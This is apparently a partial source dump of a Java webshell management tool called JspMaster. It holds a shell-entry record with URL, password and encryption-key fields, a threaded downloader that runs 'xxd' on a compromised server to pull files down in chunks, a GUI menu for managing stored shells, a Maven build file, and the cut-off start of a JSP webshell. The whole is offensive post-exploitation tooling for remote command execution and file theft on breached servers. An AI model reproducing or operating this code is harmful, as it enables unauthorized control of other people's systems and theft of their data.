79 |
80 | public void setLastvisitTime(String lastvisitTime) {
81 | this.lastvisitTime = lastvisitTime;
82 | }
83 |
84 | public String getRemarks() {
85 | return remarks;
86 | }
87 |
88 | public void setRemarks(String remarks) {
89 | this.remarks = remarks;
90 | }
91 |
92 | public Map getHeaders() {
93 | return headers;
94 | }
95 |
96 | public void setHeaders(Map headers) {
97 | this.headers = headers;
98 | }
99 |
100 | public int getIsEncrypt() {
101 | return isEncrypt;
102 | }
103 |
104 | public void setIsEncrypt(int isEncrypt) {
105 | this.isEncrypt = isEncrypt;
106 | }
107 |
108 | public String getEncryptKey() {
109 | return encryptKey;
110 | }
111 |
112 | public void setEncryptKey(String encryptKey) {
113 | this.encryptKey = encryptKey;
114 | }
115 |
116 | public String getIV() {
117 | return iv;
118 | }
119 |
120 | public void setIV(String iv) {
121 | this.iv = iv;
122 | }
123 |
124 | @Override
125 | public String toString() {
126 | return "ShellEntry{" +
127 | "id=" + id +
128 | ", url='" + url + '\'' +
129 | ", password='" + password + '\'' +
130 | ", type='" + type + '\'' +
131 | ", createTime='" + createTime + '\'' +
132 | ", lastvisitTime='" + lastvisitTime + '\'' +
133 | ", remarks='" + remarks + '\'' +
134 | ", headers=" + headers +
135 | ", isEncrypt=" + isEncrypt +
136 | ", encryptKey='" + encryptKey + '\'' +
137 | ", iv='" + iv + '\'' +
138 | '}';
139 | }
140 | }
141 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/task/LinuxPlatformDownloadThread.java:
--------------------------------------------------------------------------------
1 | package com.feihong.task;
2 |
3 | import com.feihong.executor.CommandExecutorFactory;
4 | import java.io.IOException;
5 | import java.io.RandomAccessFile;
6 | import java.util.ArrayList;
7 | import java.util.Iterator;
8 | import java.util.List;
9 | import java.util.Objects;
10 |
11 | public class LinuxPlatformDownloadThread implements Runnable{
12 | private int partNum;
13 | private int blockSize;
14 | private String serverPath;
15 | private int totalSize;
16 | private List threadPool;
17 | private String localPath;
18 | private int retry;
19 |
20 |
21 | public LinuxPlatformDownloadThread(String serverPath, int partNum, int blockSize, String localPath, int totalSize, List threadPool){
22 | this.serverPath = serverPath;
23 | this.partNum = partNum;
24 | this.blockSize = blockSize;
25 | this.totalSize = totalSize;
26 | this.threadPool = threadPool;
27 | this.localPath = localPath;
28 | }
29 |
30 | @Override
31 | public void run() {
32 | boolean flag = true;
33 | int offset = partNum * blockSize;
34 |
35 | //增加 flag 是为了当线程下载失败时,让其重新尝试再次下载
36 | while(flag) {
37 | String cmd = "xxd -l " + blockSize + " -s +" + offset + " '" + serverPath + "'";
38 | String content = CommandExecutorFactory.getInstance().exec(cmd).getResponseResult();
39 |
40 | String[] strs = content.split("\\r\\n|\\r|\\n");
41 | List list = new ArrayList<>();
42 | for(String str : strs){
43 | // 消除空行
44 | if(str.equals("")){
45 | continue;
46 | }
47 |
48 | //提取中间那段 16 进制字符
49 | str = str.substring(10,49);
50 | String[] strs_inner = str.split("\\s+");
51 | for(String str_inner : strs_inner){
52 | if(str_inner.length() == 4){
53 | int a = Integer.parseInt(str_inner.substring(0,2), 16);
54 | list.add((byte) a);
55 | int b = Integer.parseInt(str_inner.substring(2), 16);
56 | list.add((byte) b);
57 | }else{
58 | int a = Integer.parseInt(str_inner, 16);
59 | list.add((byte) a);
60 | }
61 | }
62 | }
63 |
64 | // 将 list 转换为 byte[]
65 | // 又循环一次,感觉不太好
66 | int i = 0;
67 | byte[] bytes = new byte[list.size()];
68 | Iterator iterator = list.iterator();
69 | while (iterator.hasNext()) {
70 | bytes[i++] = iterator.next();
71 | }
72 |
73 | try {
74 | RandomAccessFile file = new RandomAccessFile(localPath, "rw");
75 | file.setLength(totalSize);
76 | file.seek(offset);
77 | file.write(bytes);
78 | file.close();
79 | flag = false;
80 | } catch (NullPointerException | IOException e) {
81 | //增加跳出机制,防止死循环
82 | retry++;
83 | if(retry >= 5){
84 | System.out.println("Thread task failed!!!");
85 | break;
86 | }
87 |
88 | System.out.println("retrying...");
89 | }
90 | }
91 |
92 | threadPool.remove(this);
93 | }
94 |
95 | @Override
96 | public boolean equals(Object o) {
97 | if (this == o) return true;
98 | if (o == null || getClass() != o.getClass()) return false;
99 | LinuxPlatformDownloadThread that = (LinuxPlatformDownloadThread) o;
100 | return partNum == that.partNum;
101 | }
102 |
103 | @Override
104 | public int hashCode() {
105 | return Objects.hash(partNum, blockSize, serverPath, totalSize, threadPool, localPath);
106 | }
107 | }
108 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ui/ShellOperationMenu.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ui;
2 |
3 | import com.feihong.bean.Entry;
4 | import com.feihong.bean.ShellEntry;
5 | import com.feihong.db.DBUtil;
6 | import javafx.collections.FXCollections;
7 | import javafx.collections.ObservableList;
8 | import javafx.event.ActionEvent;
9 | import javafx.event.Event;
10 | import javafx.event.EventHandler;
11 | import javafx.scene.Scene;
12 | import javafx.scene.control.ContextMenu;
13 | import javafx.scene.control.MenuItem;
14 | import javafx.scene.input.MouseButton;
15 | import javafx.scene.input.MouseEvent;
16 | import javafx.stage.Stage;
17 | import java.util.ArrayList;
18 | import java.util.List;
19 |
20 | public class ShellOperationMenu {
21 | private ShellManagerPane shellManagerPane;
22 |
23 | public ShellOperationMenu(ShellManagerPane shellManagerPane){
24 | this.shellManagerPane = shellManagerPane;
25 | }
26 |
27 | public ContextMenu getContextMenu() {
28 | ContextMenu contextMenu = new ContextMenu();
29 | MenuItem viewOperation = new MenuItem("管理");
30 | MenuItem addOperation = new MenuItem("新增");
31 | MenuItem editOperation = new MenuItem("编辑");
32 | MenuItem deleteOperation = new MenuItem("删除");
33 | MenuItem refreshOperation = new MenuItem("刷新");
34 |
35 | contextMenu.getItems().addAll(viewOperation, addOperation, editOperation, deleteOperation, refreshOperation);
36 |
37 | viewOperation.setOnAction(event -> {
38 | //触发 tableview 的双击事件,具体逻辑在鼠标点击事件的事件监听器中书写
39 | Event.fireEvent(shellManagerPane.getTableView(), new MouseEvent(MouseEvent.MOUSE_CLICKED,
40 | 0, 0, 0, 0, MouseButton.PRIMARY, 2,
41 | true, true, true, true, true, true, true, true, true, true, null));
42 | });
43 |
44 | addOperation.setOnAction(new EventHandler() {
45 | @Override
46 | public void handle(ActionEvent event) {
47 | Stage stage = new Stage();
48 | stage.setTitle("新增 Shell");
49 | ShellEntry entry = new ShellEntry();
50 | stage.setScene(new Scene(new ShellEditUI(entry).getPane(), 600, 540));
51 | stage.show();
52 | stage.setOnCloseRequest(event1 -> refreshShellManagerPane());
53 | }
54 | });
55 |
56 | editOperation.setOnAction(new EventHandler() {
57 | @Override
58 | public void handle(ActionEvent event) {
59 | Stage stage = new Stage();
60 | stage.setTitle("编辑 Shell");
61 | ShellEntry entry = shellManagerPane.getTableView().getSelectionModel().getSelectedItem();
62 | stage.setScene(new Scene(new ShellEditUI(entry).getPane(), 600,540));
63 | stage.show();
64 | stage.setOnCloseRequest(event1 -> refreshShellManagerPane());
65 | }
66 | });
67 |
68 | deleteOperation.setOnAction(event -> {
69 | ObservableList entries = shellManagerPane.getTableView().getSelectionModel().getSelectedItems();
70 | if(entries == null || entries.size() == 0){
71 | return;
72 | }
73 |
74 | for(ShellEntry entry : entries) {
75 | try {
76 | DBUtil.delete(entry);
77 | } catch (Exception e) {
78 | e.printStackTrace();
79 | }
80 | }
81 |
82 | refreshShellManagerPane();
83 | });
84 |
85 | refreshOperation.setOnAction(event -> refreshShellManagerPane());
86 |
87 | return contextMenu;
88 | }
89 |
90 | public void refreshShellManagerPane(){
91 | List list = null;
92 | try {
93 | list = DBUtil.queryAll();
94 | } catch (Exception e) {
95 | list = new ArrayList<>();
96 | }
97 |
98 | shellManagerPane.getTableView().setItems(FXCollections.observableArrayList(list));
99 | }
100 | }
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | groupId
8 | JspMaster
9 | 1.0-SNAPSHOT
10 |
11 |
12 |
13 | org.apache.maven.plugins
14 | maven-compiler-plugin
15 |
16 | 8
17 | 8
18 |
19 |
20 |
21 | org.apache.maven.plugins
22 | maven-assembly-plugin
23 |
24 |
25 | package
26 |
27 | single
28 |
29 |
30 |
31 |
32 |
33 | jar-with-dependencies
34 |
35 |
36 |
37 | com.feihong.ui.Start
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 | javax
49 | javaee-api
50 | 8.0.1
51 | provided
52 |
53 |
54 |
55 |
56 | org.ow2.asm
57 | asm
58 | 7.2
59 |
60 |
61 |
62 |
63 | com.jfoenix
64 | jfoenix
65 | 9.0.9
66 |
67 |
68 |
69 | org.xerial
70 | sqlite-jdbc
71 | 3.28.0
72 |
73 |
74 |
75 | junit
76 | junit
77 | 4.13.1
78 | test
79 |
80 |
81 |
82 |
83 | org.apache.httpcomponents
84 | httpclient
85 | 4.5.10
86 |
87 |
88 |
89 | commons-io
90 | commons-io
91 | 2.6
92 |
93 |
94 |
95 |
96 | org.apache.commons
97 | commons-collections4
98 | 4.4
99 |
100 |
101 |
102 |
103 |
104 |
--------------------------------------------------------------------------------
/shell/流量未加密版本/deserialization.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.lang.reflect.Method" %>
2 | <%@ page import="java.util.*" %>
3 | <%@ page import="java.io.*" %>
4 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
5 | <%!
6 | public class Gadget implements Serializable {
7 | private static final long serialVersionUID = -1878443566818256475L;
8 | private String name;
9 | private List